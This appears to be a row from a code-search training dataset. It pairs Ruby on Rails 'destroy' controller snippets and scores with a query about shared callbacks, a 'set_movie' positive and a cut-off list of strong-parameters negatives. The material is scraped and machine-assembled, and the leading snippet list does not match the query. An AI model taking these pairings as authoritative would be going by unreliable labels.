[ "def destroy\n @movie = Movie.find(params[:id])\n @movie.destroy\n\n respond_to do |format|\n format.html { redirect_to movies_url }\n format.json { head :ok }\n end\n end", "def destroy\n @movie = Movie.find(params[:id])\n @movie.destroy\n\n respond_to do |format|\n format.html { redirect_to movies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @movie = Movie.find(params[:id])\n @movie.destroy\n\n respond_to do |format|\n format.html { redirect_to movies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @movie = Movie.find(params[:id])\n @movie.destroy\n\n respond_to do |format|\n format.html { redirect_to movies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @movie = Movie.find(params[:id])\n @movie.destroy\n\n respond_to do |format|\n format.html { redirect_to movies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @movie = Movie.find(params[:id])\n @movie.destroy\n\n respond_to do |format|\n format.html { redirect_to movies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @movie = Movie.find(params[:id])\n @movie.destroy\n\n respond_to do |format|\n format.html { redirect_to movies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @movie = Movie.find(params[:id])\n @movie.destroy\n\n respond_to do |format|\n format.html { redirect_to movies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @movie = Movie.find(params[:id])\n @movie.destroy\n\n respond_to do |format|\n format.html { redirect_to movies_url}\n format.json { head :no_content }\n end\n end", "def destroy\n @movie.destroy\n respond_to do |format|\n format.html { redirect_to movies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @movie.destroy\n respond_to do |format|\n format.html { redirect_to movies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @movie.destroy\n respond_to do |format|\n format.html { redirect_to movies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @movie.destroy\n respond_to do |format|\n format.html { redirect_to movies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @omdb_movie.destroy\n respond_to do |format|\n format.html { redirect_to omdb_movies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n # Find the movie in the movies table using the id\n # passed in via the path.\n # @movie = Movie.find(params[:id])\n\n # Delete the row from the movies table.\n # using ActiveRecord#destroy method\n @movie.destroy\n\n\n respond_to do |format|\n # Show all the movies, index action\n format.html { redirect_to movies_url, notice: \"You deleted a Movie\"}\n format.json { head :no_content} # do nothing as a response.\n end\n end", "def destroy\n @movie = Movie.find(params[:id])\n @movie.destroy\n\n respond_to do |format|\n format.html { redirect_to(movies_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @movie = Movie.find(params[:id])\n @movie.destroy\n\n respond_to do |format|\n format.html { redirect_to(movies_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @movie = Movie.find(params[:id])\n @movie.destroy\n\n respond_to do |format|\n format.html { redirect_to(movies_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @watched_movie = WatchedMovie.find(params[:id])\n @watched_movie.destroy\n\n respond_to do |format|\n format.html { redirect_to watched_movies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @movie.destroy\n respond_to do |format|\n format.html { redirect_to movies_url, notice: '削除しました' }\n format.json { head :no_content }\n end\n end", "def destroy\n @movie.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @movie.destroy\n respond_to do |format|\n format.html {redirect_to movies_url, notice: 'Movie was successfully destroyed.'}\n format.json {head :no_content}\n end\n end", "def destroy\n @theatre_movie.destroy\n respond_to do |format|\n format.html { redirect_to theatre_movies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @unseen_movie = UnseenMovie.find(params[:id])\n @unseen_movie.destroy\n\n respond_to do |format|\n format.html { redirect_to unseen_movies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @movie = @category.movies.find(params[:id])\n @movie.destroy\n\n respond_to do |format|\n format.html { redirect_to(category_movies_url(@category)) }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_movie = Movie.find(params[:id])\n @admin_movie.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_movies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @movie.destroy\n respond_to do |format|\n format.html { redirect_to user_list_movies_path, notice: 'Movie was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @movie_model.destroy\n respond_to do |format|\n format.html { redirect_to movie_models_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @movies.each do |movie|\n #@movie = Movie.find(params[:id])\n movie.destroy\n end\n\n # respond_to do |format|\n \n # format.xml { head :ok }\n # end\n end", "def destroy\n @movie_info = MovieInfo.find(params[:id])\n @movie_info.destroy\n \n respond_to do |format|\n format.html { redirect_to movie_infos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @movies_ive_watched.destroy\n respond_to do |format|\n format.html { redirect_to movies_ive_watcheds_url, notice: 'Movies ive watched was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @cinemas_movie = CinemasMovie.find(params[:id])\n @cinemas_movie.destroy\n\n respond_to do |format|\n format.html { redirect_to cinemas_movies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bollywood_movie = BollywoodMovie.find(params[:id])\n @bollywood_movie.destroy\n\n respond_to do |format|\n format.html { redirect_to bollywood_movies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tmdbmovie.destroy\n respond_to do |format|\n format.html { redirect_to tmdbmovies_url, notice: 'Tmdbmovie was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @type_movie.destroy\n respond_to do |format|\n format.html { redirect_to type_movies_url, notice: 'Type movie was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @movie = Movie.find(params[:id])\n @movie.destroy\n\n redirect_to root_path\n end", "def destroy\n authorize! :destroy, @movie\n\n @movie.destroy\n respond_to do |format|\n format.html { redirect_to movies_url, notice: 'Movie was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete() #DELETE film1.delete (removes 1 film)\n sql = \"DELETE FROM films WHERE id = $1;\"\n values = [@id]\n SqlRunner.run(sql, values)\n end", "def destroy\n @users_movie = UsersMovie.find(params[:id])\n @users_movie.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_movies_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @film.destroy\n respond_to do |format|\n format.html { redirect_to films_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @film.destroy\n respond_to do |format|\n format.html { redirect_to films_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @role_in_a_movie = RoleInAMovie.find(params[:id])\n @role_in_a_movie.destroy\n\n respond_to do |format|\n format.html { redirect_to role_in_a_movies_url }\n format.json { head :ok }\n end\n end", "def destroy\n @user = current_user\n @FavoriteMovie = FavoriteMovie.find(params[:id]).delete\n render json: { msg: \"Delete Successful\" }\n end", "def destroy\n @actors_movie.destroy\n respond_to do |format|\n format.html { redirect_to actors_movies_url, notice: 'Actors movie was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @theatre_movie.destroy\n respond_to do |format|\n format.html { redirect_to theatre_movies_url, notice: 'Theatre movie was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n animal = Animal.find(params[:id])\n animal.destroy\n head 204\n end", "def destroy\n @cinema_movie.destroy\n respond_to do |format|\n format.html { redirect_to cinema_movies_url, notice: 'Cinema movie was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @genres_movie.destroy\n respond_to do |format|\n format.html { redirect_to genres_movies_url, notice: 'Genres movie was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @moviie.destroy\n respond_to do |format|\n format.html { redirect_to moviies_url, notice: 'Moviie was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @movie = Movie.find params[:id]\n @movie.destroy\n flash[:notice] = \"Deleted '#{@movie.title}'.\"\n redirect_to movies_path\n end", "def destroy\n @movie = Movie.find params[:id]\n @movie.destroy\n flash[:notice] = \"Deleted '#{@movie.title}'.\"\n redirect_to movies_path\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def destroy\n @movie_crew.destroy\n respond_to do |format|\n format.html { redirect_to movie_crews_url, notice: \"Movie crew was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Item.delete(params[\"id\"])\n end", "def destroy\n @movie_type.destroy\n respond_to do |format|\n format.html { redirect_to movie_types_url, notice: 'Movie type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n Movie.find(params[:id]).destroy \n flash[:success] = \"Movie was successfully deleted.\"\n redirect_to index_url\n end", "def destroy\n @movie.destroy\n respond_to do |format|\n format.html { redirect_to movies_url, notice: \"Movie was successfully destroyed.\" }\n format.json { head :no_content }\n format.js\n end\n end", "def destroy\n @categories_movie.destroy\n respond_to do |format|\n format.html { redirect_to categories_movies_url, notice: 'Categories movie was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @users_movie = UsersMovie.find(params[:id])\n @users_movie.destroy\n end", "def destroy\n @movie = Movie.find(params[:id])\n @movie.destroy\n\n respond_to do |format|\n format.html { redirect_to movies_url }\n format.js\n end\n end", "def destroy\n @movieupload.destroy\n respond_to do |format|\n format.html { redirect_to movieuploads_url, notice: 'Movieupload was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @movie_participant.destroy\n respond_to do |format|\n format.html { redirect_to movie_participants_url }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Post.delete(params[\"id\"])\n end", "def destroy\n @retroaspecto = Retroaspecto.find(params[:id])\n @retroaspecto.destroy\n\n respond_to do |format|\n format.html { redirect_to retroaspectos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @video.destroy\n render json: @video, :status => :ok\n end", "def destroy\n @movie_show.destroy\n respond_to do |format|\n format.html { redirect_to movie_shows_url, notice: \"Movie show was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @moviepost.destroy\n respond_to do |format|\n format.html { redirect_to movieposts_url, notice: 'Moviepost was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @foo = Foo.find(params[:id])\n @foo.destroy\n\n respond_to do |format|\n format.html { redirect_to foos_url }\n format.json { head :ok }\n end\n end", "def destroy\n @adocao_animal = AdocaoAnimal.find(params[:id])\n @adocao_animal.destroy\n\n respond_to do |format|\n format.html { redirect_to adocao_animals_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @film_genre.destroy\n respond_to do |format|\n format.html { redirect_to film_genres_url, notice: 'Film genre was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(path)\n request(:delete, path)\n end", "def delete\n request(:delete)\n end", "def destroy\n @microfilm_reel = MicrofilmReel.find(params[:id])\n @microfilm_reel.destroy\n\n respond_to do |format|\n format.html { redirect_to microfilm_reels_url }\n format.json { head :no_content }\n end\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def delete(path, params = {})\n post(path, params.merge(\"_method\" => \"delete\"))\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def destroy\n @remito = Remito.find(params[:id])\n @remito.destroy\n\n respond_to do |format|\n format.html { redirect_to remitos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @omdb_genre.destroy\n respond_to do |format|\n format.html { redirect_to omdb_genres_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.75601494", "0.75527585", "0.75527585", "0.75527585", "0.75527585", "0.75527585", "0.75527585", "0.75527585", "0.75291234", "0.74914795", "0.74914795", "0.74914795", "0.74914795", "0.74370456", "0.7318032", "0.72660154", "0.72660154", "0.72660154", "0.7200101", "0.716558", "0.7160484", "0.7151926", "0.71429765", "0.7139131", "0.7136916", "0.71150374", "0.71119195", "0.70861506", "0.7082097", "0.70710224", "0.7069047", "0.7040131", "0.7021086", "0.70200914", "0.69921345", "0.6978578", "0.697519", "0.69403195", "0.69360214", "0.68992364", "0.68992364", "0.6891448", "0.6890384", "0.6846937", "0.6842049", "0.68393123", "0.6835186", "0.68342763", "0.6799984", "0.6791299", "0.67855996", "0.67855996", "0.6780455", "0.67721814", "0.6770768", "0.67415696", "0.6730329", "0.6730252", "0.6728727", "0.6728023", "0.67191344", "0.67134243", "0.6684585", "0.6682438", "0.66822755", "0.66526717", "0.6651211", "0.6644098", "0.66406894", "0.6623472", "0.6620924", "0.6619496", "0.6605652", "0.66021603", "0.6587219", "0.6585684", "0.6585639", "0.658442", "0.6576233" ]
0.7198954
35
Use callbacks to share common setup or constraints between actions.
def set_movie @movie = Movie.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def movie_params params.require(:movie).permit(:id, :titulo, :imdb, :poster, :ano, :nota, :genero) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def 